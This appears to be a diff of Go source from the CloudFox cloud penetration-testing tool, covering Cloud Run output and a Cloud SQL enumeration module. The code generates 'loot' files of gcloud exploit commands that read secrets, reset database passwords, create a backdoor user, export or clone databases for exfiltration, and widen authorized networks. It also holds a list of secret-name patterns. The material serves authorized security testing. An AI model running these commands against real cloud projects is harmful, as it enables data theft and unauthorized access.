ref.EnvVarName, ref.SecretVersion, ref.SecretName, svc.ProjectID,
|
||||
)
|
||||
} else {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# Volume mount: %s\ngcloud secrets versions access latest --secret=%s --project=%s\n",
|
||||
ref.MountPath, ref.SecretName, svc.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
secretRefsLoot.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudRunModule) addJobToLoot(projectID string, job CloudRunService.JobInfo) {
|
||||
commandsLoot := m.LootMap[projectID]["cloudrun-commands"]
|
||||
secretRefsLoot := m.LootMap[projectID]["cloudrun-secret-refs"]
|
||||
|
||||
if commandsLoot == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this job
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# JOB: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Region: %s\n"+
|
||||
"# Image: %s\n"+
|
||||
"# Service Account: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe job:\n"+
|
||||
"gcloud run jobs describe %s --region=%s --project=%s\n"+
|
||||
"# List executions:\n"+
|
||||
"gcloud run jobs executions list --job=%s --region=%s --project=%s\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Execute the job (if you have run.jobs.run):\n"+
|
||||
"gcloud run jobs execute %s --region=%s --project=%s\n\n",
|
||||
job.Name, job.ProjectID, job.Region,
|
||||
job.ContainerImage,
|
||||
job.ServiceAccount,
|
||||
job.Name, job.Region, job.ProjectID,
|
||||
job.Name, job.Region, job.ProjectID,
|
||||
job.Name, job.Region, job.ProjectID,
|
||||
)
|
||||
|
||||
// Add secret references to loot
|
||||
if len(job.SecretRefs) > 0 && secretRefsLoot != nil {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# JOB: %s (Project: %s, Region: %s)\n"+
|
||||
"# =============================================================================\n", job.Name, job.ProjectID, job.Region)
|
||||
for _, ref := range job.SecretRefs {
|
||||
if ref.Type == "env" {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# Env var: %s\ngcloud secrets versions access %s --secret=%s --project=%s\n",
|
||||
ref.EnvVarName, ref.SecretVersion, ref.SecretName, job.ProjectID,
|
||||
)
|
||||
} else {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# Volume mount: %s\ngcloud secrets versions access latest --secret=%s --project=%s\n",
|
||||
ref.MountPath, ref.SecretName, job.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
secretRefsLoot.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CloudRunModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *CloudRunModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all project IDs that have data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectServices {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectJobs {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID := range projectsWithData {
|
||||
services := m.ProjectServices[projectID]
|
||||
jobs := m.ProjectJobs[projectID]
|
||||
|
||||
tables := m.buildTablesForProject(projectID, services, jobs)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isCloudRunEmptyLoot(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = CloudRunOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *CloudRunModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allServices := m.getAllServices()
|
||||
allJobs := m.getAllJobs()
|
||||
|
||||
tables := m.buildTablesForProject("", allServices, allJobs)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isCloudRunEmptyLoot(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := CloudRunOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// isCloudRunEmptyLoot checks if a loot file contains only the header
|
||||
func isCloudRunEmptyLoot(contents string) bool {
|
||||
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
|
||||
strings.HasSuffix(contents, "# Use: gcloud secrets versions access VERSION --secret=SECRET_NAME --project=PROJECT\n\n")
|
||||
}
|
||||
|
||||
// buildTablesForProject builds all tables for a given project's services and jobs
|
||||
func (m *CloudRunModule) buildTablesForProject(projectID string, services []CloudRunService.ServiceInfo, jobs []CloudRunService.JobInfo) []internal.TableFile {
|
||||
tableFiles := []internal.TableFile{}
|
||||
|
||||
// Services table
|
||||
servicesHeader := []string{
|
||||
"Project", "Type", "Name", "Region", "Status", "URL", "Ingress", "Public",
|
||||
"Service Account", "SA Attack Paths", "Default SA", "Image", "VPC Access",
|
||||
"Min/Max", "IAM Binding Role", "IAM Binding Principal",
|
||||
}
|
||||
|
||||
var servicesBody [][]string
|
||||
for _, svc := range services {
|
||||
publicStatus := "No"
|
||||
if svc.IsPublic {
|
||||
publicStatus = "Yes"
|
||||
}
|
||||
defaultSA := "No"
|
||||
if svc.UsesDefaultSA {
|
||||
defaultSA = "Yes"
|
||||
}
|
||||
vpcAccess := "-"
|
||||
if svc.VPCAccess != "" {
|
||||
vpcAccess = extractName(svc.VPCAccess)
|
||||
if svc.VPCEgressSettings != "" {
|
||||
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(svc.VPCEgressSettings, "VPC_EGRESS_"))
|
||||
}
|
||||
}
|
||||
scaling := fmt.Sprintf("%d/%d", svc.MinInstances, svc.MaxInstances)
|
||||
|
||||
status := svc.Status
|
||||
if status == "" {
|
||||
status = "-"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if svc.ServiceAccount != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, svc.ServiceAccount)
|
||||
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
attackPaths = "No SA"
|
||||
}
|
||||
|
||||
// If service has IAM bindings, create one row per binding
|
||||
if len(svc.IAMBindings) > 0 {
|
||||
for _, binding := range svc.IAMBindings {
|
||||
servicesBody = append(servicesBody, []string{
|
||||
m.GetProjectName(svc.ProjectID), "Service", svc.Name, svc.Region, status, svc.URL,
|
||||
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
|
||||
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
|
||||
binding.Role, binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Service has no IAM bindings - single row
|
||||
servicesBody = append(servicesBody, []string{
|
||||
m.GetProjectName(svc.ProjectID), "Service", svc.Name, svc.Region, status, svc.URL,
|
||||
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
|
||||
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
|
||||
"-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if len(servicesBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-services",
|
||||
Header: servicesHeader,
|
||||
Body: servicesBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Jobs table
|
||||
jobsHeader := []string{
|
||||
"Project", "Type", "Name", "Region", "Status", "Service Account", "SA Attack Paths", "Default SA",
|
||||
"Image", "VPC Access", "Tasks", "Parallelism", "Last Execution",
|
||||
"IAM Binding Role", "IAM Binding Principal",
|
||||
}
|
||||
|
||||
var jobsBody [][]string
|
||||
for _, job := range jobs {
|
||||
defaultSA := "No"
|
||||
if job.UsesDefaultSA {
|
||||
defaultSA = "Yes"
|
||||
}
|
||||
lastExec := "-"
|
||||
if job.LastExecution != "" {
|
||||
lastExec = extractName(job.LastExecution)
|
||||
}
|
||||
|
||||
status := job.Status
|
||||
if status == "" {
|
||||
status = "-"
|
||||
}
|
||||
|
||||
vpcAccess := "-"
|
||||
if job.VPCAccess != "" {
|
||||
vpcAccess = extractName(job.VPCAccess)
|
||||
if job.VPCEgressSettings != "" {
|
||||
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(job.VPCEgressSettings, "VPC_EGRESS_"))
|
||||
}
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
jobAttackPaths := "run foxmapper"
|
||||
if job.ServiceAccount != "" {
|
||||
jobAttackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, job.ServiceAccount)
|
||||
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
jobAttackPaths = "No SA"
|
||||
}
|
||||
|
||||
// If job has IAM bindings, create one row per binding
|
||||
if len(job.IAMBindings) > 0 {
|
||||
for _, binding := range job.IAMBindings {
|
||||
jobsBody = append(jobsBody, []string{
|
||||
m.GetProjectName(job.ProjectID), "Job", job.Name, job.Region, status,
|
||||
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
|
||||
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
|
||||
lastExec, binding.Role, binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Job has no IAM bindings - single row
|
||||
jobsBody = append(jobsBody, []string{
|
||||
m.GetProjectName(job.ProjectID), "Job", job.Name, job.Region, status,
|
||||
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
|
||||
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
|
||||
lastExec, "-", "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if len(jobsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-jobs",
|
||||
Header: jobsHeader,
|
||||
Body: jobsBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Secrets table (includes hardcoded secrets and environment variables)
|
||||
secretsHeader := []string{
|
||||
"Project", "Resource Type", "Name", "Region", "Env Var", "Value/Type", "Source", "Sensitive",
|
||||
}
|
||||
|
||||
var secretsBody [][]string
|
||||
|
||||
// Add environment variables
|
||||
for _, svc := range services {
|
||||
for _, env := range svc.EnvVars {
|
||||
sensitive := isSensitiveEnvVar(env.Name)
|
||||
if env.Source == "direct" {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(svc.ProjectID), "Service",
|
||||
svc.Name, svc.Region, env.Name, env.Value, "EnvVar", sensitive,
|
||||
})
|
||||
} else {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(svc.ProjectID), "Service",
|
||||
svc.Name, svc.Region, env.Name, fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion), "SecretManager", sensitive,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, job := range jobs {
|
||||
for _, env := range job.EnvVars {
|
||||
sensitive := isSensitiveEnvVar(env.Name)
|
||||
if env.Source == "direct" {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(job.ProjectID), "Job",
|
||||
job.Name, job.Region, env.Name, env.Value, "EnvVar", sensitive,
|
||||
})
|
||||
} else {
|
||||
secretsBody = append(secretsBody, []string{
|
||||
m.GetProjectName(job.ProjectID), "Job",
|
||||
job.Name, job.Region, env.Name, fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion), "SecretManager", sensitive,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(secretsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-secrets",
|
||||
Header: secretsHeader,
|
||||
Body: secretsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
// formatIngress formats ingress settings for display
|
||||
func formatIngress(ingress string) string {
|
||||
switch ingress {
|
||||
case "INGRESS_TRAFFIC_ALL":
|
||||
return "ALL (Public)"
|
||||
case "INGRESS_TRAFFIC_INTERNAL_ONLY":
|
||||
return "INTERNAL"
|
||||
case "INGRESS_TRAFFIC_INTERNAL_LOAD_BALANCER":
|
||||
return "INT+LB"
|
||||
default:
|
||||
return ingress
|
||||
}
|
||||
}
|
||||
|
||||
// extractName extracts just the name from a resource path
|
||||
func extractName(fullName string) string {
|
||||
parts := strings.Split(fullName, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return fullName
|
||||
}
|
||||
|
||||
// sensitiveEnvVarPatterns contains patterns that indicate sensitive env vars
|
||||
var sensitiveEnvVarPatterns = []string{
|
||||
"PASSWORD", "PASSWD", "SECRET", "API_KEY", "APIKEY", "API-KEY",
|
||||
"TOKEN", "ACCESS_TOKEN", "AUTH_TOKEN", "BEARER", "CREDENTIAL",
|
||||
"PRIVATE_KEY", "PRIVATEKEY", "CONNECTION_STRING", "CONN_STR",
|
||||
"DATABASE_URL", "DB_PASSWORD", "DB_PASS", "MYSQL_PASSWORD",
|
||||
"POSTGRES_PASSWORD", "REDIS_PASSWORD", "MONGODB_URI",
|
||||
"AWS_ACCESS_KEY", "AWS_SECRET", "AZURE_KEY", "GCP_KEY",
|
||||
"ENCRYPTION_KEY", "SIGNING_KEY", "JWT_SECRET", "SESSION_SECRET",
|
||||
"OAUTH", "CLIENT_SECRET",
|
||||
}
|
||||
|
||||
// isSensitiveEnvVar checks if an environment variable name indicates sensitive data
|
||||
func isSensitiveEnvVar(envName string) string {
|
||||
envNameUpper := strings.ToUpper(envName)
|
||||
for _, pattern := range sensitiveEnvVarPatterns {
|
||||
if strings.Contains(envNameUpper, pattern) {
|
||||
return "Yes"
|
||||
}
|
||||
}
|
||||
return "No"
|
||||
}
|
||||
|
||||
@@ -0,0 +1,563 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
CloudSQLService "github.com/BishopFox/cloudfox/gcp/services/cloudsqlService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCloudSQLCommand = &cobra.Command{
|
||||
Use: globals.GCP_CLOUDSQL_MODULE_NAME,
|
||||
Aliases: []string{"sql", "database", "db"},
|
||||
Short: "Enumerate Cloud SQL instances with security analysis",
|
||||
Long: `Enumerate Cloud SQL instances across projects with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all Cloud SQL instances (MySQL, PostgreSQL, SQL Server)
|
||||
- Shows network configuration (public/private IP, authorized networks)
|
||||
- Identifies publicly accessible databases
|
||||
- Shows SSL/TLS configuration and requirements
|
||||
- Checks backup and high availability configuration
|
||||
- Shows encryption type (Google-managed vs CMEK)
|
||||
- Shows IAM database authentication status
|
||||
- Shows password policy configuration
|
||||
- Shows maintenance window settings
|
||||
- Shows point-in-time recovery status
|
||||
- Identifies common security misconfigurations
|
||||
- Generates gcloud commands for further analysis
|
||||
|
||||
Security Columns:
|
||||
- PublicIP: Whether the instance has a public IP address
|
||||
- RequireSSL: Whether SSL/TLS is required for connections
|
||||
- AuthNetworks: Number of authorized network ranges
|
||||
- Backups: Automated backup status
|
||||
- PITR: Point-in-time recovery status
|
||||
- Encryption: CMEK or Google-managed
|
||||
- IAM Auth: IAM database authentication
|
||||
- PwdPolicy: Password validation policy
|
||||
- HA: High availability configuration
|
||||
- Issues: Detected security misconfigurations
|
||||
|
||||
Attack Surface:
|
||||
- Public IPs expose database to internet scanning
|
||||
- Missing SSL allows credential sniffing
|
||||
- 0.0.0.0/0 in authorized networks = world accessible
|
||||
- Default service accounts may have excessive permissions
|
||||
- Google-managed encryption may not meet compliance
|
||||
- Missing password policy allows weak passwords`,
|
||||
Run: runGCPCloudSQLCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type CloudSQLModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectInstances map[string][]CloudSQLService.SQLInstanceInfo // projectID -> instances
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type CloudSQLOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CloudSQLOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CloudSQLOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCloudSQLCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &CloudSQLModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectInstances: make(map[string][]CloudSQLService.SQLInstanceInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CloudSQLModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDSQL_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all instances for stats
|
||||
allInstances := m.getAllInstances()
|
||||
if len(allInstances) == 0 {
|
||||
logger.InfoM("No Cloud SQL instances found", globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public instances
|
||||
publicCount := 0
|
||||
for _, instance := range allInstances {
|
||||
if instance.HasPublicIP {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d instance(s), %d with public IP", len(allInstances), publicCount), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
} else {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d instance(s)", len(allInstances)), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllInstances returns all instances from all projects (for statistics)
|
||||
func (m *CloudSQLModule) getAllInstances() []CloudSQLService.SQLInstanceInfo {
|
||||
var all []CloudSQLService.SQLInstanceInfo
|
||||
for _, instances := range m.ProjectInstances {
|
||||
all = append(all, instances...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *CloudSQLModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Cloud SQL instances in project: %s", projectID), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
}
|
||||
|
||||
cs := CloudSQLService.New()
|
||||
instances, err := cs.Instances(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDSQL_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud SQL in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectInstances[projectID] = instances
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["cloudsql-commands"] = &internal.LootFile{
|
||||
Name: "cloudsql-commands",
|
||||
Contents: "# Cloud SQL Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, instance := range instances {
|
||||
m.addInstanceToLoot(projectID, instance)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d instance(s) in project %s", len(instances), projectID), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *CloudSQLModule) addInstanceToLoot(projectID string, instance CloudSQLService.SQLInstanceInfo) {
|
||||
lootFile := m.LootMap[projectID]["cloudsql-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
dbType := getDatabaseType(instance.DatabaseVersion)
|
||||
connectionInstance := fmt.Sprintf("%s:%s:%s", instance.ProjectID, instance.Region, instance.Name)
|
||||
|
||||
publicIP := instance.PublicIP
|
||||
if publicIP == "" {
|
||||
publicIP = "-"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CLOUD SQL: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Region: %s\n"+
|
||||
"# Version: %s\n"+
|
||||
"# Public IP: %s\n",
|
||||
instance.Name,
|
||||
instance.ProjectID, instance.Region,
|
||||
instance.DatabaseVersion,
|
||||
publicIP,
|
||||
)
|
||||
|
||||
// gcloud commands
|
||||
lootFile.Contents += "# === ENUMERATION COMMANDS ===\n\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud sql instances describe %s --project=%s\n"+
|
||||
"gcloud sql databases list --instance=%s --project=%s\n"+
|
||||
"gcloud sql users list --instance=%s --project=%s\n",
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Connection commands based on database type
|
||||
switch dbType {
|
||||
case "mysql":
|
||||
if instance.PublicIP != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"mysql -h %s -u root -p\n",
|
||||
instance.PublicIP,
|
||||
)
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"cloud_sql_proxy -instances=%s=tcp:3306\n",
|
||||
connectionInstance,
|
||||
)
|
||||
case "postgres":
|
||||
if instance.PublicIP != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"psql -h %s -U postgres\n",
|
||||
instance.PublicIP,
|
||||
)
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"cloud_sql_proxy -instances=%s=tcp:5432\n",
|
||||
connectionInstance,
|
||||
)
|
||||
case "sqlserver":
|
||||
if instance.PublicIP != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"sqlcmd -S %s -U sqlserver\n",
|
||||
instance.PublicIP,
|
||||
)
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"cloud_sql_proxy -instances=%s=tcp:1433\n",
|
||||
connectionInstance,
|
||||
)
|
||||
}
|
||||
|
||||
// === EXPLOIT COMMANDS ===
|
||||
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
// Password reset
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Reset database user password (requires cloudsql.users.update):\n"+
|
||||
"gcloud sql users set-password root --host=%% --instance=%s --project=%s --password=NEW_PASSWORD\n"+
|
||||
"gcloud sql users set-password postgres --instance=%s --project=%s --password=NEW_PASSWORD\n\n",
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Create new user
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Create a new database user (requires cloudsql.users.create):\n"+
|
||||
"gcloud sql users create cloudfox_user --instance=%s --project=%s --password=GENERATED_PASSWORD\n\n",
|
||||
instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Backup exfiltration
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# List existing backups:\n"+
|
||||
"gcloud sql backups list --instance=%s --project=%s\n\n"+
|
||||
"# Create a new backup (for exfiltration):\n"+
|
||||
"gcloud sql backups create --instance=%s --project=%s\n\n"+
|
||||
"# Export database to GCS bucket (data exfiltration):\n"+
|
||||
"gcloud sql export sql %s gs://BUCKET_NAME/export-%s.sql --database=DATABASE_NAME --project=%s\n"+
|
||||
"gcloud sql export csv %s gs://BUCKET_NAME/export-%s.csv --database=DATABASE_NAME --query=\"SELECT * FROM TABLE_NAME\" --project=%s\n\n",
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Clone instance
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Clone instance to attacker-controlled project (requires cloudsql.instances.clone):\n"+
|
||||
"gcloud sql instances clone %s %s-clone --project=%s\n\n",
|
||||
instance.Name, instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// IAM authentication exploitation
|
||||
if instance.IAMAuthentication {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# IAM database authentication is enabled - connect using SA token:\n"+
|
||||
"gcloud sql generate-login-token | %s\n\n",
|
||||
func() string {
|
||||
switch dbType {
|
||||
case "mysql":
|
||||
return fmt.Sprintf("mysql -h %s -u SA_EMAIL --enable-cleartext-plugin --password=$(cat -)", connectionInstance)
|
||||
case "postgres":
|
||||
return fmt.Sprintf("PGPASSWORD=$(cat -) psql -h %s -U SA_EMAIL", connectionInstance)
|
||||
default:
|
||||
return "# Use the token as password for database connection"
|
||||
}
|
||||
}(),
|
||||
)
|
||||
}
|
||||
|
||||
// Authorized network manipulation
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Add your IP to authorized networks (requires cloudsql.instances.update):\n"+
|
||||
"gcloud sql instances patch %s --project=%s --authorized-networks=YOUR_IP/32\n\n",
|
||||
instance.Name, instance.ProjectID,
|
||||
)
|
||||
|
||||
// Surface security issues if any were detected
|
||||
if len(instance.SecurityIssues) > 0 {
|
||||
lootFile.Contents += "# Security Issues:\n"
|
||||
for _, issue := range instance.SecurityIssues {
|
||||
lootFile.Contents += fmt.Sprintf("# - %s\n", issue)
|
||||
}
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
// getDatabaseType returns the database type from version string
|
||||
func getDatabaseType(version string) string {
|
||||
switch {
|
||||
case strings.HasPrefix(version, "MYSQL"):
|
||||
